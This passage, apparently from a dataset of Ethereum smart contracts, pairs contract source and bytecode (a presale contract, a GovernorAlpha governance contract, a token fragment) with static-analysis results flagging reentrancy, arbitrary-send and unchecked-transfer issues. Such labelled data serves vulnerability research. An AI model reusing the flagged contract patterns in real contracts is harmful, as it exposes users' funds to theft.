ffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480613f2f5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15613f3d5760009050613f42565b600190505b92915050565b6000808373ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613fa857601154613fac565b6012545b90506000613fd66064613fc884876140f090919063ffffffff16565b61417690919063ffffffff16565b905061402a81600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246590919063ffffffff16565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36140e581856129cd90919063ffffffff16565b925050509392505050565b6000808314156141035760009050614170565b600082840290508284828161411457fe5b041461416b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061431e6021913960400191505060405180910390fd5b809150505b92915050565b60006141b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614234565b905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060068190555042600781905550565b600080831182906142e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156142a557808201518184015260208101905061428a565b50505050905090810190601f1680156142d25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816142ec57fe5b04905080915050939250505056fe45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f756e74536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212203f577ea8ef2b61133351809d76217abb018905c56b706596e6875bd24fe3976a64736f6c63430007040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,181 |
0x9c2fa77df68c186b16706a33becbfa8038f9f079 | pragma solidity 0.7.0;
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
abstract contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract NRT_Presale is Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) public _balances;
uint256 public _minimum = 0.5 ether ; //mimimum buy amount
uint256 public _maximum = 50 ether ; //maximum buy amount, prevent whales
uint256 public hardcap = 767 ether ; //balance cannot exceed harcap
uint256 public duration = 3 * 86400 ; //three days
uint256 public starting_time ; //unix timestamp of presale start
bool public hasStarted = false ; //presale status
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Function that gets called on receival of ether.
* Requirements: the contract has to be online,
* should not have ended,
* the hardcap shouldn't be reached yet,
* the value must be at least minimum max maximum
*/
receive() external payable {
require(hasStarted == true, "Presale not online") ;
require(block.timestamp <= starting_time + duration, "Presale has ended") ;
require(address(this).balance <= hardcap, "Harcap reached") ;
require(msg.value >= _minimum && msg.value <= _maximum, "Value does not exceed minimum amount or exceeds maximum amount") ;
_balances[msg.sender] += msg.value ;
}
/**
* @dev Start presale by saving unix timestamp for sale duration
*/
function start_presale() public onlyOwner {
hasStarted = true ;
starting_time = block.timestamp ;
}
/**
* @dev Stop presale
*/
function stop_presale() public onlyOwner {
hasStarted = false ;
}
/**
* @dev Withdraw ether locked in presale contract, only available after presale
*/
function withdraw() public onlyOwner {
require(hasStarted == false, "Presale not online") ;
require(block.timestamp >= starting_time + duration, "Presale has not ended yet") ;
msg.sender.transfer(address(this).balance) ;
}
/**
* @dev Adjust hardcap limit
* @param ether_amount hardcap in ethereum (e.g. 100 ETH hardcap -> ether_amount = 100)
*/
function set_hardcap(uint256 ether_amount) public onlyOwner {
hardcap = ether_amount * 1 ether ;
}
/**
* @dev Set tokensale duration
* @param new_duration Duration of the presale in seconds
*/
function set_duration(uint256 new_duration) public onlyOwner {
duration = new_duration ;
}
}
| 0x6080604052600436106100ec5760003560e01c80636ebcf6071161008a5780638da5cb5b116100595780638da5cb5b1461039b578063b071cbe6146103cc578063c35dc135146103e1578063f2fde38b146103f65761023f565b80636ebcf60714610329578063715018a61461035c578063766fbb2c146103715780638488f7a7146103865761023f565b80633ccfd60b116100c65780633ccfd60b146102ac5780633cda065d146102c157806344691f7e146102d65780634edf5b95146102ff5761023f565b806308decaef146102445780630fb5a6b4146102705780632f273a96146102975761023f565b3661023f5760075460ff161515600114610142576040805162461bcd60e51b815260206004820152601260248201527150726573616c65206e6f74206f6e6c696e6560701b604482015290519081900360640190fd5b60055460065401421115610191576040805162461bcd60e51b8152602060048201526011602482015270141c995cd85b19481a185cc8195b991959607a1b604482015290519081900360640190fd5b6004544711156101d9576040805162461bcd60e51b815260206004820152600e60248201526d12185c98d85c081c995858da195960921b604482015290519081900360640190fd5b60025434101580156101ed57506003543411155b6102285760405162461bcd60e51b815260040180806020018281038252603e8152602001806108d2603e913960400191505060405180910390fd5b336000908152600160205260409020805434019055005b600080fd5b34801561025057600080fd5b5061026e6004803603602081101561026757600080fd5b5035610429565b005b34801561027c57600080fd5b50610285610490565b60408051918252519081900360200190f35b3480156102a357600080fd5b50610285610496565b3480156102b857600080fd5b5061026e61049c565b3480156102cd57600080fd5b5061026e6105cb565b3480156102e257600080fd5b506102eb61062f565b604080519115158252519081900360200190f35b34801561030b57600080fd5b5061026e6004803603602081101561032257600080fd5b5035610638565b34801561033557600080fd5b506102856004803603602081101561034c57600080fd5b50356001600160a01b0316610695565b34801561036857600080fd5b5061026e6106a7565b34801561037d57600080fd5b50610285610749565b34801561039257600080fd5b5061028561074f565b3480156103a757600080fd5b506103b0610755565b604080516001600160a01b039092168252519081900360200190f35b3480156103d857600080fd5b50610285610764565b3480156103ed57600080fd5b5061026e61076a565b34801561040257600080fd5b5061026e6004803603602081101561041957600080fd5b50356001600160a01b03166107d5565b6104316108cd565b6000546001600160a01b03908116911614610481576040805162461bcd60e51b81526020600482018190526024820152600080516020610936833981519152604482015290519081900360640190fd5b670de0b6b3a764000002600455565b60055481565b60065481565b6104a46108cd565b6000546001600160a01b039081169116146104f4576040805162461bcd60e51b81526020600482018190526024820152600080516020610936833981519152604482015290519081900360640190fd5b60075460ff1615610541576040805162461bcd60e51b815260206004820152601260248201527150726573616c65206e6f74206f6e6c696e6560701b604482015290519081900360640190fd5b6005546006540142101561059c576040805162461bcd60e51b815260206004820152601960248201527f50726573616c6520686173206e6f7420656e6465642079657400000000000000604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f193505050501580156105c8573d6000803e3d6000fd5b50565b6105d36108cd565b6000546001600160a01b03908116911614610623576040805162461bcd60e51b81526020600482018190526024820152600080516020610936833981519152604482015290519081900360640190fd5b6007805460ff19169055565b60075460ff1681565b6106406108cd565b6000546001600160a01b03908116911614610690576040805162461bcd60e51b81526020600482018190526024820152600080516020610936833981519152604482015290519081900360640190fd5b600555565b60016020526000908152604090205481565b6106af6108cd565b6000546001600160a01b039081169116146106ff576040805162461bcd60e51b81526020600482018190526024820152600080516020610936833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60035481565b60025481565b6000546001600160a01b031690565b60045481565b6107726108cd565b6000546001600160a01b039081169116146107c2576040805162461bcd60e51b81526020600482018190526024820152600080516020610936833981519152604482015290519081900360640190fd5b6007805460ff1916600117905542600655565b6107dd6108cd565b6000546001600160a01b0390811691161461082d576040805162461bcd60e51b81526020600482018190526024820152600080516020610936833981519152604482015290519081900360640190fd5b6001600160a01b0381166108725760405162461bcd60e51b81526004018080602001828103825260268152602001806109106026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b339056fe56616c756520646f6573206e6f7420657863656564206d696e696d756d20616d6f756e74206f722065786365656473206d6178696d756d20616d6f756e744f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220b67fe396bcf6bb94d4b601a78db7d6052e47ec2359afe342127abed7d6d6e23464736f6c63430007000033 | {"success": true, "error": null, "results": {}} | 10,182 |
0xD9113fb903665Fc80Faf0f7402e6a3A4C530FecC | // SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "Drops NFT Loans Governor Alpha";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public pure returns (uint) { return 2000000e18; } // 2,000,000 = 4% of DOP
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint) { return 500000e18; } // 500,000 = 1% of DOP
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks)
/// @notice The address of the Drops NFT Loans Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the DOP governance token
CompInterface public comp;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address comp_, address guardian_) public {
timelock = TimelockInterface(timelock_);
comp = CompInterface(comp_);
guardian = guardian_;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(comp.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction{ value: proposal.values[i] }(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian || comp.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint96 votes = comp.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface CompInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
}
| 0x60806040526004361061019c5760003560e01c8063452a9320116100ec578063d33219b41161008a578063ddf0b00911610064578063ddf0b00914610456578063deaaa7cc14610476578063e23a9a521461048b578063fe0d94c1146104b85761019c565b8063d33219b41461040c578063da35c66414610421578063da95691a146104365761019c565b80637bdbe4d0116100c65780637bdbe4d0146103ad57806391500671146103c2578063b58131b0146103e2578063b9a61961146103f75761019c565b8063452a9320146103635780634634c61f14610378578063760fbc13146103985761019c565b806320606b7011610159578063328dd98211610133578063328dd982146102d15780633932abb1146103015780633e4f49e61461031657806340e58ee5146103435761019c565b806320606b701461028757806321f43e421461029c57806324bc1a64146102bc5761019c565b8063013cf08b146101a157806302a251a3146101df57806306fdde0314610201578063109d0af81461022357806315373e3d1461024557806317977c6114610267575b600080fd5b3480156101ad57600080fd5b506101c16101bc3660046123d2565b6104cb565b6040516101d6999897969594939291906130a8565b60405180910390f35b3480156101eb57600080fd5b506101f4610524565b6040516101d691906127f5565b34801561020d57600080fd5b5061021661052a565b6040516101d6919061286c565b34801561022f57600080fd5b50610238610563565b6040516101d6919061264e565b34801561025157600080fd5b50610265610260366004612416565b610572565b005b34801561027357600080fd5b506101f461028236600461221a565b610581565b34801561029357600080fd5b506101f4610593565b3480156102a857600080fd5b506102656102b7366004612235565b6105b7565b3480156102c857600080fd5b506101f461069e565b3480156102dd57600080fd5b506102f16102ec3660046123d2565b6106ad565b6040516101d6949392919061279d565b34801561030d57600080fd5b506101f461093c565b34801561032257600080fd5b506103366103313660046123d2565b610941565b6040516101d69190612858565b34801561034f57600080fd5b5061026561035e3660046123d2565b610acb565b34801561036f57600080fd5b50610238610d34565b34801561038457600080fd5b50610265610393366004612445565b610d43565b3480156103a457600080fd5b50610265610efc565b3480156103b957600080fd5b506101f4610f38565b3480156103ce57600080fd5b506102656103dd366004612235565b610f3d565b3480156103ee57600080fd5b506101f4611012565b34801561040357600080fd5b50610265611020565b34801561041857600080fd5b506102386110a5565b34801561042d57600080fd5b506101f46110b4565b34801561044257600080fd5b506101f461045136600461225f565b6110ba565b34801561046257600080fd5b506102656104713660046123d2565b6114da565b34801561048257600080fd5b506101f4611744565b34801561049757600080fd5b506104ab6104a63660046123ea565b611768565b6040516101d69190612fe2565b6102656104c63660046123d2565b6117d7565b6004602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b9097015495966001600160a01b0390951695939492939192909160ff8082169161010090041689565b61438090565b6040518060400160405280601e81526020017f44726f7073204e4654204c6f616e7320476f7665726e6f7220416c706861000081525081565b6001546001600160a01b031681565b61057d33838361199c565b5050565b60056020526000908152604090205481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6002546001600160a01b031633146105ea5760405162461bcd60e51b81526004016105e1906129b1565b60405180910390fd5b600080546040516001600160a01b0390911691630825f38f9183919061061490879060200161264e565b604051602081830303815290604052856040518563ffffffff1660e01b8152600401610643949392919061267b565b600060405180830381600087803b15801561065d57600080fd5b505af1158015610671573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610699919081019061235f565b505050565b6a01a784379d99db4200000090565b6060806060806000600460008781526020019081526020016000209050806003018160040182600501836006018380548060200260200160405190810160405280929190818152602001828054801561072f57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610711575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561078157602002820191906000526020600020905b81548152602001906001019080831161076d575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156108545760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156108405780601f1061081557610100808354040283529160200191610840565b820191906000526020600020905b81548152906001019060200180831161082357829003601f168201915b5050505050815260200190600101906107a9565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156109265760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156109125780601f106108e757610100808354040283529160200191610912565b820191906000526020600020905b8154815290600101906020018083116108f557829003601f168201915b50505050508152602001906001019061087b565b5050505090509450945094509450509193509193565b600190565b600081600354101580156109555750600082115b6109715760405162461bcd60e51b81526004016105e190612a23565b6000828152600460205260409020600b81015460ff1615610996576002915050610ac6565b806007015443116109ab576000915050610ac6565b806008015443116109c0576001915050610ac6565b80600a015481600901541115806109e157506109da61069e565b8160090154105b156109f0576003915050610ac6565b6002810154610a03576004915050610ac6565b600b810154610100900460ff1615610a1f576007915050610ac6565b610ab0816002015460008054906101000a90046001600160a01b03166001600160a01b031663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b158015610a7357600080fd5b505afa158015610a87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aab9190612347565b611b65565b4210610ac0576006915050610ac6565b60059150505b919050565b6000610ad682610941565b90506007816007811115610ae657fe5b1415610b045760405162461bcd60e51b81526004016105e190612ebd565b60008281526004602052604090206002546001600160a01b0316331480610bcf5750610b2e611012565b60018054838201546001600160a01b039182169263782d6fe19290911690610b57904390611b91565b6040518363ffffffff1660e01b8152600401610b74929190612662565b60206040518083038186803b158015610b8c57600080fd5b505afa158015610ba0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc4919061249b565b6001600160601b0316105b610beb5760405162461bcd60e51b81526004016105e190612c89565b600b8101805460ff1916600117905560005b6003820154811015610cf7576000546003830180546001600160a01b039092169163591fcdfe919084908110610c2f57fe5b6000918252602090912001546004850180546001600160a01b039092169185908110610c5757fe5b9060005260206000200154856005018581548110610c7157fe5b90600052602060002001866006018681548110610c8a57fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610cb